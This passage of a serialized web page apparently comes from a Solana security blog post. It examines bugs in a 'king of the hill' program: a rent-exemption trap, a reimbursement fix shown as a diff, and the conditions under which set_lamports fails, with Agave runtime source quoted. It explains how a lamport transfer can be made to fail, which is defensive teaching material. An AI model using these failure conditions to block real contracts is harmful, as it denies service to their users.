",{"type":24,"tag":327,"props":78993,"children":78994},{"style":334},[78995],{"type":29,"value":2479},{"type":24,"tag":327,"props":78997,"children":78998},{"style":1639},[78999],{"type":29,"value":1669},{"type":24,"tag":327,"props":79001,"children":79002},{"style":346},[79003],{"type":29,"value":405},{"type":24,"tag":327,"props":79005,"children":79006},{"class":329,"line":5176},[79007],{"type":24,"tag":327,"props":79008,"children":79009},{"emptyLinePlaceholder":16},[79010],{"type":29,"value":544},{"type":24,"tag":327,"props":79012,"children":79013},{"class":329,"line":5209},[79014,79018],{"type":24,"tag":327,"props":79015,"children":79016},{"style":1639},[79017],{"type":29,"value":9178},{"type":24,"tag":327,"props":79019,"children":79020},{"style":346},[79021],{"type":29,"value":9009},{"type":24,"tag":327,"props":79023,"children":79024},{"class":329,"line":5217},[79025],{"type":24,"tag":327,"props":79026,"children":79027},{"style":346},[79028],{"type":29,"value":535},{"type":24,"tag":327,"props":79030,"children":79031},{"class":329,"line":5225},[79032],{"type":24,"tag":327,"props":79033,"children":79034},{"style":346},[79035],{"type":29,"value":592},{"type":24,"tag":25,"props":79037,"children":79038},{},[79039],{"type":29,"value":79040},"Note this comment:",{"type":24,"tag":1706,"props":79042,"children":79043},{},[79044],{"type":24,"tag":25,"props":79045,"children":79046},{},[79047],{"type":29,"value":79048},"any writable account is allowed as a new king.",{"type":24,"tag":25,"props":79050,"children":79051},{},[79052],{"type":29,"value":79053},"...Is our assumption correct?",{"type":24,"tag":228,"props":79055,"children":79057},{"id":79056},"the-bugs-lurking-beneath",[79058],{"type":29,"value":79059},"The Bugs Lurking Beneath",{"type":24,"tag":235,"props":79061,"children":79063},{"id":79062},"bug-1-the-rent-exemption-trap",[79064],{"type":29,"value":79065},"Bug 1: The Rent-Exemption Trap",{"type":24,"tag":25,"props":79067,"children":79068},{},[79069,79071,79076],{"type":29,"value":79070},"On Solana, all accounts must maintain a ",{"type":24,"tag":188,"props":79072,"children":79073},{},[79074],{"type":29,"value":79075},"minimum balance",{"type":29,"value":79077}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":24,"tag":1380,"props":79079,"children":79080},{},[79081,79096],{"type":24,"tag":179,"props":79082,"children":79083},{},[79084,79089,79090],{"type":24,"tag":188,"props":79085,"children":79086},{},[79087],{"type":29,"value":79088},"Uninitialized",{"type":29,"value":3459},{"type":24,"tag":284,"props":79091,"children":79093},{"className":79092},[],[79094],{"type":29,"value":79095},"lamports = 0",{"type":24,"tag":179,"props":79097,"children":79098},{},[79099,79104,79105],{"type":24,"tag":188,"props":79100,"children":79101},{},[79102],{"type":29,"value":79103},"Initialized",{"type":29,"value":3459},{"type":24,"tag":284,"props":79106,"children":79108},{"className":79107},[],[79109],{"type":29,"value":79110},"lamports >= rent-exempt threshold",{"type":24,"tag":25,"props":79112,"children":79113},{},[79114,79116,79121],{"type":29,"value":79115},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":24,"tag":188,"props":79117,"children":79118},{},[79119],{"type":29,"value":79120},"account metadata",{"type":29,"value":79122}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":24,"tag":25,"props":79124,"children":79125},{},[79126,79128,79134],{"type":29,"value":79127},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":24,"tag":284,"props":79129,"children":79131},{"className":79130},[],[79132],{"type":29,"value":79133},"data.len() == 0",{"type":29,"value":79135}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":24,"tag":25,"props":79137,"children":79138},{},[79139,79141,79147],{"type":29,"value":79140},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":24,"tag":57,"props":79142,"children":79145},{"href":79143,"rel":79144},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[61],[79146],{"type":29,"value":54304},{"type":29,"value":66},{"type":24,"tag":317,"props":79149,"children":79151},{"className":1553,"code":79150,"language":1552,"meta":7,"style":7},"    fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n        match post_rent_state {\n            RentState::Uninitialized | RentState::RentExempt => true,\n            RentState::RentPaying {\n                data_size: post_data_size,\n                lamports: post_lamports,\n            } => {\n                match pre_rent_state {\n                    RentState::Uninitialized | RentState::RentExempt => false,\n                    RentState::RentPaying {\n                        data_size: pre_data_size,\n                        lamports: pre_lamports,\n                    } => {\n                        // Cannot remain RentPaying if resized or credited.\n                        post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n                    }\n                }\n            }\n        }\n    }\n",[79152],{"type":24,"tag":284,"props":79153,"children":79154},{"__ignoreMap":7},[79155,79239,79256,79302,79322,79343,79364,79379,79396,79440,79459,79480,79501,79517,79525,79558,79565,79572,79579,79586],{"type":24,"tag":327,"props":79156,"children":79157},{"class":329,"line":330},[79158,79163,79168,79172,79176,79180,79184,79189,79193,79197,79202,79206,79211,79215,79219,79223,79227,79231,79235],{"type":24,"tag":327,"props":79159,"children":79160},{"style":334},[79161],{"type":29,"value":79162},"    fn",{"type":24,"tag":327,"props":79164,"children":79165},{"style":340},[79166],{"type":29,"value":79167}," transition_allowed",{"type":24,"tag":327,"props":79169,"children":79170},{"style":346},[79171],{"type":29,"value":349},{"type":24,"tag":327,"props":79173,"children":79174},{"style":381},[79175],{"type":29,"value":8716},{"type":24,"tag":327,"props":79177,"children":79178},{"style":334},[79179],{"type":29,"value":2345},{"type":24,"tag":327,"props":79181,"children":79182},{"style":346},[79183],{"type":29,"value":2744},{"type":24,"tag":327,"props":79185,"children":79186},{"style":356},[79187],{"type":29,"value":79188},"pre_rent_state",{"type":24,"tag":327,"props":79190,"children":79191},{"style":381},[79192],{"type":29,"value":1636},{"type":24,"tag":327,"props":79194,"children":79195},{"style":381},[79196],{"type":29,"value":14704},{"type":24,"tag":327,"props":79198,"children":79199},{"style":1639},[79200],{"type":29,"value":79201},"RentState",{"type":24,"tag":327,"props":79203,"children":79204},{"style":346},[79205],{"type":29,"value":2744},{"type":24,"tag":327,"props":79207,"children":79208},{"style":356},[79209],{"type":29,"value":79210},"post_rent_state",{"type":24,"tag":327,"props":79212,"children":79213},{"style":381},[79214],{"type":29,"value":1636},{"type":24,"tag":327,"props":79216,"children":79217},{"style":381},[79218],{"type":29,"value":14704},{"type":24,"tag":327,"props":79220,"children":79221},{"style":1639},[79222],{"type":29,"value":79201},{"type":24,"tag":327,"props":79224,"children":79225},{"style":346},[79226],{"type":29,"value":1674},{"type":24,"tag":327,"props":79228,"children":79229},{"style":381},[79230],{"type":29,"value":1679},{"type":24,"tag":327,"props":79232,"children":79233},{"style":1639},[79234],{"type":29,"value":1935},{"type":24,"tag":327,"props":79236,"children":79237},{"style":346},[79238],{"type":29,"value":497},{"type":24,"tag":327,"props":79240,"children":79241},{"class":329,"line":367},[79242,79247,79252],{"type":24,"tag":327,"props":79243,"children":79244},{"style":425},[79245],{"type":29,"value":79246},"        match",{"type":24,"tag":327,"props":79248,"children":79249},{"style":356},[79250],{"type":29,"value":79251}," post_rent_state",{"type":24,"tag":327,"props":79253,"children":79254},{"style":346},[79255],{"type":29,"value":497},{"type":24,"tag":327,"props":79257,"children":79258},{"class":329,"line":408},[79259,79264,79268,79272,79276,79281,79285,79290,79294,79298],{"type":24,"tag":327,"props":79260,"children":79261},{"style":1639},[79262],{"type":29,"value":79263},"            RentState",{"type":24,"tag":327,"props":79265,"children":79266},{"style":381},[79267],{"type":29,"value":2407},{"type":24,"tag":327,"props":79269,"children":79270},{"style":1639},[79271],{"type":29,"value":79088},{"type":24,"tag":327,"props":79273,"children":79274},{"style":381},[79275],{"type":29,"value":11841},{"type":24,"tag":327,"props":79277,"children":79278},{"style":1639},[79279],{"type":29,"value":79280}," RentState",{"type":24,"tag":327,"props":79282,"children":79283},{"style":381},[79284],{"type":29,"value":2407},{"type":24,"tag":327,"props":79286,"children":79287},{"style":1639},[79288],{"type":29,"value":79289},"RentExempt",{"type":24,"tag":327,"props":79291,"children":79292},{"style":381},[79293],{"type":29,"value":9225},{"type":24,"tag":327,"props":79295,"children":79296},{"style":334},[79297],{"type":29,"value":9722},{"type":24,"tag":327,"props":79299,"children":79300},{"style":346},[79301],{"type":29,"value":2231},{"type":24,"tag":327,"props":79303,"children":79304},{"class":329,"line":421},[79305,79309,79313,79318],{"type":24,"tag":327,"props":79306,"children":79307},{"style":1639},[79308],{"type":29,"value":79263},{"type":24,"tag":327,"props":79310,"children":79311},{"style":381},[79312],{"type":29,"value":2407},{"type":24,"tag":327,"props":79314,"children":79315},{"style":1639},[79316],{"type":29,"value":79317},"RentPaying",{"type":24,"tag":327,"props":79319,"children":79320},{"style":346},[79321],{"type":29,"value":497},{"type":24,"tag":327,"props":79323,"children":79324},{"class":329,"line":450},[79325,79330,79334,79339],{"type":24,"tag":327,"props":79326,"children":79327},{"style":356},[79328],{"type":29,"value":79329},"                data_size",{"type":24,"tag":327,"props":79331,"children":79332},{"style":381},[79333],{"type":29,"value":1636},{"type":24,"tag":327,"props":79335,"children":79336},{"style":356},[79337],{"type":29,"value":79338}," post_data_size",{"type":24,"tag":327,"props":79340,"children":79341},{"style":346},[79342],{"type":29,"value":2231},{"type":24,"tag":327,"props":79344,"children":79345},{"class":329,"line":481},[79346,79351,79355,79360],{"type":24,"tag":327,"props":79347,"children":79348},{"style":356},[79349],{"type":29,"value":79350},"                lamports",{"type":24,"tag":327,"props":79352,"children":79353},{"style":381},[79354],{"type":29,"value":1636},{"type":24,"tag":327,"props":79356,"children":79357},{"style":356},[79358],{"type":29,"value":79359}," post_lamports",{"type":24,"tag":327,"props":79361,"children":79362},{"style":346},[79363],{"type":29,"value":2231},{"type":24,"tag":327,"props":79365,"children":79366},{"class":329,"line":500},[79367,79371,79375],{"type":24,"tag":327,"props":79368,"children":79369},{"style":346},[79370],{"type":29,"value":77319},{"type":24,"tag":327,"props":79372,"children":79373},{"style":381},[79374],{"type":29,"value":9195},{"type":24,"tag":327,"props":79376,"children":79377},{"style":346},[79378],{"type":29,"value":497},{"type":24,"tag":327,"props":79380,"children":79381},{"class":329,"line":529},[79382,79387,79392],{"type":24,"tag":327,"props":79383,"children":79384},{"style":425},[79385],{"type":29,"value":79386},"                match",{"type":24,"tag":327,"props":79388,"children":79389},{"style":356},[79390],{"type":29,"value":79391}," pre_rent_state",{"type":24,"tag":327,"props":79393,"children":79394},{"style":346},[79395],{"type":29,"value":497},{"type":24,"tag":327,"props":79397,"children":79398},{"class":329,"line":538},[79399,79404,79408,79412,79416,79420,79424,79428,79432,79436],{"type":24,"tag":327,"props":79400,"children":79401},{"style":1639},[79402],{"type":29,"value":79403},"                    RentState",{"type":24,"tag":327,"props":79405,"children":79406},{"style":381},[79407],{"type":29,"value":2407},{"type":24,"tag":327,"props":79409,"children":79410},{"style":1639},[79411],{"type":29,"value":79088},{"type":24,"tag":327,"props":79413,"children":79414},{"style":381},[79415],{"type":29,"value":11841},{"type":24,"tag":327,"props":79417,"children":79418},{"style":1639},[79419],{"type":29,"value":79280},{"type":24,"tag":327,"props":79421,"children":79422},{"style":381},[79423],{"type":29,"value":2407},{"type":24,"tag":327,"props":79425,"children":79426},{"style":1639},[79427],{"type":29,"value":79289},{"type":24,"tag":327,"props":79429,"children":79430},{"style":381},[79431],{"type":29,"value":9225},{"type":24,"tag":327,"props":79433,"children":79434},{"style":334},[79435],{"type":29,"value":6776},{"type":24,"tag":327,"props":79437,"children":79438},{"style":346},[79439],{"type":29,"value":2231},{"type":24,"tag":327,"props":79441,"children":79442},{"class":329,"line":547},[79443,79447,79451,79455],{"type":24,"tag":327,"props":79444,"children":79445},{"style":1639},[79446],{"type":29,"value":79403},{"type":24,"tag":327,"props":79448,"children":79449},{"style":381},[79450],{"type":29,"value":2407},{"type":24,"tag":327,"props":79452,"children":79453},{"style":1639},[79454],{"type":29,"value":79317},{"type":24,"tag":327,"props":79456,"children":79457},{"style":346},[79458],{"type":29,"value":497},{"type":24,"tag":327,"props":79460,"children":79461},{"class":329,"line":557},[79462,79467,79471,79476],{"type":24,"tag":327,"props":79463,"children":79464},{"style":356},[79465],{"type":29,"value":79466},"                        data_size",{"type":24,"tag":327,"props":79468,"children":79469},{"style":381},[79470],{"type":29,"value":1636},{"type":24,"tag":327,"props":79472,"children":79473},{"style":356},[79474],{"type":29,"value":79475}," pre_data_size",{"type":24,"tag":327,"props":79477,"children":79478},{"style":346},[79479],{"type":29,"value":2231},{"type":24,"tag":327,"props":79481,"children":79482},{"class":329,"line":586},[79483,79488,79492,79497],{"type":24,"tag":327,"props":79484,"children":79485},{"style":356},[79486],{"type":29,"value":79487},"                        lamports",{"type":24,"tag":327,"props":79489,"children":79490},{"style":381},[79491],{"type":29,"value":1636},{"type":24,"tag":327,"props":79493,"children":79494},{"style":356},[79495],{"type":29,"value":79496}," pre_lamports",{"type":24,"tag":327,"props":79498,"children":79499},{"style":346},[79500],{"type":29,"value":2231},{"type":24,"tag":327,"props":79502,"children":79503},{"class":329,"line":1017},[79504,79509,79513],{"type":24,"tag":327,"props":79505,"children":79506},{"style":346},[79507],{"type":29,"value":79508},"                    } ",{"type":24,"tag":327,"props":79510,"children":79511},{"style":381},[79512],{"type":29,"value":9195},{"type":24,"tag":327,"props":79514,"children":79515},{"style":346},[79516],{"type":29,"value":497},{"type":24,"tag":327,"props":79518,"children":79519},{"class":329,"line":1026},[79520],{"type":24,"tag":327,"props":79521,"children":79522},{"style":551},[79523],{"type":29,"value":79524},"                        // Cannot remain RentPaying if resized or credited.\n",{"type":24,"tag":327,"props":79526,"children":79527},{"class":329,"line":1048},[79528,79533,79537,79541,79545,79549,79553],{"type":24,"tag":327,"props":79529,"children":79530},{"style":356},[79531],{"type":29,"value":79532},"                        post_data_size",{"type":24,"tag":327,"props":79534,"children":79535},{"style":381},[79536],{"type":29,"value":9887},{"type":24,"tag":327,"props":79538,"children":79539},{"style":356},[79540],{"type":29,"value":79475},{"type":24,"tag":327,"props":79542,"children":79543},{"style":381},[79544],{"type":29,"value":21717},{"type":24,"tag":327,"props":79546,"children":79547},{"style":356},[79548],{"type":29,"value":79359},{"type":24,"tag":327,"props":79550,"children":79551},{"style":381},[79552],{"type":29,"value":2488},{"type":24,"tag":327,"props":79554,"children":79555},{"style":356},[79556],{"type":29,"value":79557}," pre_lamports\n",{"type":24,"tag":327,"props":79559,"children":79560},{"class":329,"line":1067},[79561],{"type":24,"tag":327,"props":79562,"children":79563},{"style":346},[79564],{"type":29,"value":77788},{"type":24,"tag":327,"props":79566,"children":79567},{"class":329,"line":1075},[79568],{"type":24,"tag":327,"props":79569,"children":79570},{"style":346},[79571],{"type":29,"value":77796},{"type":24,"tag":327,"props":79573,"children":79574},{"class":329,"line":1084},[79575],{"type":24,"tag":327,"props":79576,"children":79577},{"style":346},[79578],{"type":29,"value":65607},{"type":24,"tag":327,"props":79580,"children":79581},{"class":329,"line":1100},[79582],{"type":24,"tag":327,"props":79583,"children":79584},{"style":346},[79585],{"type":29,"value":8989},{"type":24,"tag":327,"props":79587,"children":79588},{"class":329,"line":1128},[79589],{"type":24,"tag":327,"props":79590,"children":79591},{"style":346},[79592],{"type":29,"value":535},{"type":24,"tag":25,"props":79594,"children":79595},{},[79596],{"type":29,"value":79597},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":24,"tag":317,"props":79599,"children":79601},{"className":11815,"code":79600,"language":11814,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[79602],{"type":24,"tag":284,"props":79603,"children":79604},{"__ignoreMap":7},[79605,79621],{"type":24,"tag":327,"props":79606,"children":79607},{"class":329,"line":330},[79608,79612,79617],{"type":24,"tag":327,"props":79609,"children":79610},{"style":340},[79611],{"type":29,"value":18},{"type":24,"tag":327,"props":79613,"children":79614},{"style":844},[79615],{"type":29,"value":79616}," rent",{"type":24,"tag":327,"props":79618,"children":79619},{"style":397},[79620],{"type":29,"value":5728},{"type":24,"tag":327,"props":79622,"children":79623},{"class":329,"line":367},[79624,79629,79634,79639],{"type":24,"tag":327,"props":79625,"children":79626},{"style":340},[79627],{"type":29,"value":79628},"Rent-exempt",{"type":24,"tag":327,"props":79630,"children":79631},{"style":844},[79632],{"type":29,"value":79633}," minimum:",{"type":24,"tag":327,"props":79635,"children":79636},{"style":397},[79637],{"type":29,"value":79638}," 0.00089088",{"type":24,"tag":327,"props":79640,"children":79641},{"style":844},[79642],{"type":29,"value":79643}," SOL\n",{"type":24,"tag":168,"props":79645,"children":79647},{"id":79646},"fix-1-only-reimburse-if-rent-exempt",[79648],{"type":29,"value":79649},"Fix 1: Only Reimburse if Rent-Exempt",{"type":24,"tag":25,"props":79651,"children":79652},{},[79653],{"type":29,"value":79654},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":24,"tag":317,"props":79656,"children":79658},{"className":47074,"code":79657,"language":47076,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n    transfer_from_pda(\n        &ctx.accounts.throne.to_account_info(),\n        &ctx.accounts.old_king,\n        to_reimburse,\n    )?;\n+}\n",[79659],{"type":24,"tag":284,"props":79660,"children":79661},{"__ignoreMap":7},[79662,79670,79678,79686,79694,79702,79710,79718,79726,79734],{"type":24,"tag":327,"props":79663,"children":79664},{"class":329,"line":330},[79665],{"type":24,"tag":327,"props":79666,"children":79667},{"style":346},[79668],{"type":29,"value":79669},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":24,"tag":327,"props":79671,"children":79672},{"class":329,"line":367},[79673],{"type":24,"tag":327,"props":79674,"children":79675},{"style":397},[79676],{"type":29,"value":79677},"+let rent = Rent::get()?;\n",{"type":24,"tag":327,"props":79679,"children":79680},{"class":329,"line":408},[79681],{"type":24,"tag":327,"props":79682,"children":79683},{"style":397},[79684],{"type":29,"value":79685},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":24,"tag":327,"props":79687,"children":79688},{"class":329,"line":421},[79689],{"type":24,"tag":327,"props":79690,"children":79691},{"style":397},[79692],{"type":29,"value":79693},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":24,"tag":327,"props":79695,"children":79696},{"class":329,"line":450},[79697],{"type":24,"tag":327,"props":79698,"children":79699},{"style":346},[79700],{"type":29,"value":79701},"    transfer_from_pda(\n",{"type":24,"tag":327,"props":79703,"children":79704},{"class":329,"line":481},[79705],{"type":24,"tag":327,"props":79706,"children":79707},{"style":346},[79708],{"type":29,"value":79709},"        &ctx.accounts.throne.to_account_info(),\n",{"type":24,"tag":327,"props":79711,"children":79712},{"class":329,"line":500},[79713],{"type":24,"tag":327,"props":79714,"children":79715},{"style":346},[79716],{"type":29,"value":79717},"        &ctx.accounts.old_king,\n",{"type":24,"tag":327,"props":79719,"children":79720},{"class":329,"line":529},[79721],{"type":24,"tag":327,"props":79722,"children":79723},{"style":346},[79724],{"type":29,"value":79725},"        to_reimburse,\n",{"type":24,"tag":327,"props":79727,"children":79728},{"class":329,"line":538},[79729],{"type":24,"tag":327,"props":79730,"children":79731},{"style":346},[79732],{"type":29,"value":79733},"    )?;\n",{"type":24,"tag":327,"props":79735,"children":79736},{"class":329,"line":547},[79737],{"type":24,"tag":327,"props":79738,"children":79739},{"style":397},[79740],{"type":29,"value":79741},"+}\n",{"type":24,"tag":25,"props":79743,"children":79744},{},[79745],{"type":29,"value":79746},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":24,"tag":235,"props":79748,"children":79750},{"id":79749},"bug-2-writable-but-untouchable-set_lamports-fails",[79751,79753,79759],{"type":29,"value":79752},"Bug 2: Writable but Untouchable — ",{"type":24,"tag":284,"props":79754,"children":79756},{"className":79755},[],[79757],{"type":29,"value":79758},"set_lamports",{"type":29,"value":79760}," Fails",{"type":24,"tag":25,"props":79762,"children":79763},{},[79764,79766,79773],{"type":29,"value":79765},"Let's look at ",{"type":24,"tag":57,"props":79767,"children":79770},{"href":79768,"rel":79769},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[61],[79771],{"type":29,"value":79772},"BorrowedAccount::set_lamports",{"type":29,"value":66},{"type":24,"tag":317,"props":79775,"children":79777},{"className":1553,"code":79776,"language":1552,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n    // An account not owned by the program cannot have its balance decrease\n    if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n        return Err(InstructionError::ExternalAccountLamportSpend);\n    }\n    // The balance of read-only may not change\n    if !self.is_writable() {\n        return Err(InstructionError::ReadonlyLamportChange);\n    }\n    // The balance of executable accounts may not change\n    if self.is_executable_internal() {\n        return Err(InstructionError::ExecutableLamportChange);\n    }\n    // don't touch the account if the lamports do not change\n    if self.get_lamports() == lamports {\n        return Ok(());\n    }\n    self.touch()?;\n    self.account.set_lamports(lamports);\n    Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n    !self\n        .transaction_context\n        .remove_accounts_executable_flag_checks\n        && self.account.executable()\n}\n\n",[79778],{"type":24,"tag":284,"props":79779,"children":79780},{"__ignoreMap":7},[79781,79789,79810,79882,79890,79949,79981,79988,79996,80024,80056,80063,80071,80095,80127,80134,80142,80177,80193,80200,80228,80263,80274,80281,80288,80296,80315,80323,80363,80375,80387,80399,80430],{"type":24,"tag":327,"props":79782,"children":79783},{"class":329,"line":330},[79784],{"type":24,"tag":327,"props":79785,"children":79786},{"style":551},[79787],{"type":29,"value":79788},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":24,"tag":327,"props":79790,"children":79791},{"class":329,"line":367},[79792,79797,79801,79806],{"type":24,"tag":327,"props":79793,"children":79794},{"style":346},[79795],{"type":29,"value":79796},"#[cfg(not(target_os ",{"type":24,"tag":327,"props":79798,"children":79799},{"style":381},[79800],{"type":29,"value":384},{"type":24,"tag":327,"props":79802,"children":79803},{"style":844},[79804],{"type":29,"value":79805}," \"solana\"",{"type":24,"tag":327,"props":79807,"children":79808},{"style":346},[79809],{"type":29,"value":1973},{"type":24,"tag":327,"props":79811,"children":79812},{"class":329,"line":408},[79813,79817,79821,79826,79830,79834,79838,79842,79846,79850,79854,79858,79862,79866,79870,79874,79878],{"type":24,"tag":327,"props":79814,"children":79815},{"style":334},[79816],{"type":29,"value":2524},{"type":24,"tag":327,"props":79818,"children":79819},{"style":334},[79820],{"type":29,"value":4653},{"type":24,"tag":327,"props":79822,"children":79823},{"style":340},[79824],{"type":29,"value":79825}," set_lamports",{"type":24,"tag":327,"props":79827,"children":79828},{"style":346},[79829],{"type":29,"value":349},{"type":24,"tag":327,"props":79831,"children":79832},{"style":381},[79833],{"type":29,"value":8716},{"type":24,"tag":327,"props":79835,"children":79836},{"style":334},[79837],{"type":29,"value":2099},{"type":24,"tag":327,"props":79839,"children":79840},{"style":334},[79841],{"type":29,"value":2171},{"type":24,"tag":327,"props":79843,"children":79844},{"style":346},[79845],{"type":29,"value":2744},{"type":24,"tag":327,"props":79847,"children":79848},{"style":356},[79849],{"type":29,"value":23034},{"type":24,"tag":327,"props":79851,"children":79852},{"style":381},[79853],{"type":29,"value":1636},{"type":24,"tag":327,"props":79855,"children":79856},{"style":1639},[79857],{"type":29,"value":1669},{"type":24,"tag":327,"props":79859,"children":79860},{"style":346},[79861],{"type":29,"value":1674},{"type":24,"tag":327,"props":79863,"children":79864},{"style":381},[79865],{"type":29,"value":1679},{"type":24,"tag":327,"props":79867,"children":79868},{"style":1639},[79869],{"type":29,"value":1684},{"type":24,"tag":327,"props":79871,"children":79872},{"style":346},[79873],{"type":29,"value":21302},{"type":24,"tag":327,"props":79875,"children":79876},{"style":1639},[79877],{"type":29,"value":23276},{"type":24,"tag":327,"props":79879,"children":79880},{"style":346},[79881],{"type":29,"value":4344},{"type":24,"tag":327,"props":79883,"children":79884},{"class":329,"line":421},[79885],{"type":24,"tag":327,"props":79886,"children":79887},{"style":551},[79888],{"type":29,"value":79889},"    // An account not owned by the program cannot have its balance decrease\n",{"type":24,"tag":327,"props":79891,"children":79892},{"class":329,"line":450},[79893,79897,79901,79905,79909,79914,79918,79923,79928,79932,79936,79940,79945],{"type":24,"tag":327,"props":79894,"children":79895},{"style":425},[79896],{"type":29,"value":428},{"type":24,"tag":327,"props":79898,"children":79899},{"style":381},[79900],{"type":29,"value":20408},{"type":24,"tag":327,"props":79902,"children":79903},{"style":334},[79904],{"type":29,"value":2345},{"type":24,"tag":327,"props":79906,"children":79907},{"style":381},[79908],{"type":29,"value":66},{"type":24,"tag":327,"props":79910,"children":79911},{"style":340},[79912],{"type":29,"value":79913},"is_owned_by_current_program",{"type":24,"tag":327,"props":79915,"children":79916},{"style":346},[79917],{"type":29,"value":7338},{"type":24,"tag":327,"props":79919,"children":79920},{"style":381},[79921],{"type":29,"value":79922},"&&",{"type":24,"tag":327,"props":79924,"children":79925},{"style":356},[79926],{"type":29,"value":79927}," lamports",{"type":24,"tag":327,"props":79929,"children":79930},{"style":381},[79931],{"type":29,"value":4927},{"type":24,"tag":327,"props":79933,"children":79934},{"style":334},[79935],{"type":29,"value":2171},{"type":24,"tag":327,"props":79937,"children":79938},{"style":381},[79939],{"type":29,"value":66},{"type":24,"tag":327,"props":79941,"children":79942},{"style":340},[79943],{"type":29,"value":79944},"get_lamports",{"type":24,"tag":327,"props":79946,"children":79947},{"style":346},[79948],{"type":29,"value":9697},{"type":24,"tag":327,"props":79950,"children":79951},{"class":329,"line":481},[79952,79956,79960,79964,79968,79972,79977],{"type":24,"tag":327,"props":79953,"children":79954},{"style":425},[79955],{"type":29,"value":4944},{"type":24,"tag":327,"props":79957,"children":79958},{"style":1639},[79959],{"type":29,"value":23267},{"type":24,"tag":327,"props":79961,"children":79962},{"style":346},[79963],{"type":29,"value":349},{"type":24,"tag":327,"props":79965,"children":79966},{"style":1639},[79967],{"type":29,"value":23276},{"type":24,"tag":327,"props":79969,"children":79970},{"style":381},[79971],{"type":29,"value":2407},{"type":24,"tag":327,"props":79973,"children":79974},{"style":1639},[79975],{"type":29,"value":79976},"ExternalAccountLamportSpend",{"type":24,"tag":327,"props":79978,"children":79979},{"style":346},[79980],{"type":29,"value":583},{"type":24,"tag":327,"props":79982,"children":79983},{"class":329,"line":500},[79984],{"type":24,"tag":327,"props":79985,"children":79986},{"style":346},[79987],{"type":29,"value":535},{"type":24,"tag":327,"props":79989,"children":79990},{"class":329,"line":529},[79991],{"type":24,"tag":327,"props":79992,"children":79993},{"style":551},[79994],{"type":29,"value":79995},"    // The balance of read-only may not change\n",{"type":24,"tag":327,"props":79997,"children":79998},{"class":329,"line":538},[79999,80003,80007,80011,80015,80020],{"type":24,"tag":327,"props":80000,"children":80001},{"style":425},[80002],{"type":29,"value":428},{"type":24,"tag":327,"props":80004,"children":80005},{"style":381},[80006],{"type":29,"value":20408},{"type":24,"tag":327,"props":80008,"children":80009},{"style":334},[80010],{"type":29,"value":2345},{"type":24,"tag":327,"props":80012,"children":80013},{"style":381},[80014],{"type":29,"value":66},{"type":24,"tag":327,"props":80016,"children":80017},{"style":340},[80018],{"type":29,"value":80019},"is_writable",{"type":24,"tag":327,"props":80021,"children":80022},{"style":346},[80023],{"type":29,"value":9697},{"type":24,"tag":327,"props":80025,"children":80026},{"class":329,"line":547},[80027,80031,80035,80039,80043,80047,80052],{"type":24,"tag":327,"props":80028,"children":80029},{"style":425},[80030],{"type":29,"value":4944},{"type":24,"tag":327,"props":80032,"children":80033},{"style":1639},[80034],{"type":29,"value":23267},{"type":24,"tag":327,"props":80036,"children":80037},{"style":346},[80038],{"type":29,"value":349},{"type":24,"tag":327,"props":80040,"children":80041},{"style":1639},[80042],{"type":29,"value":23276},{"type":24,"tag":327,"props":80044,"children":80045},{"style":381},[80046],{"type":29,"value":2407},{"type":24,"tag":327,"props":80048,"children":80049},{"style":1639},[80050],{"type":29,"value":80051},"ReadonlyLamportChange",{"type":24,"tag":327,"props":80053,"children":80054},{"style":346},[80055],{"type":29,"value":583},{"type":24,"tag":327,"props":80057,"children":80058},{"class":329,"line":557},[80059],{"type":24,"tag":327,"props":80060,"children":80061},{"style":346},[80062],{"type":29,"value":535},{"type":24,"tag":327,"props":80064,"children":80065},{"class":329,"line":586},[80066],{"type":24,"tag":327,"props":80067,"children":80068},{"style":551},[80069],{"type":29,"value":80070},"    // The balance of executable accounts may not 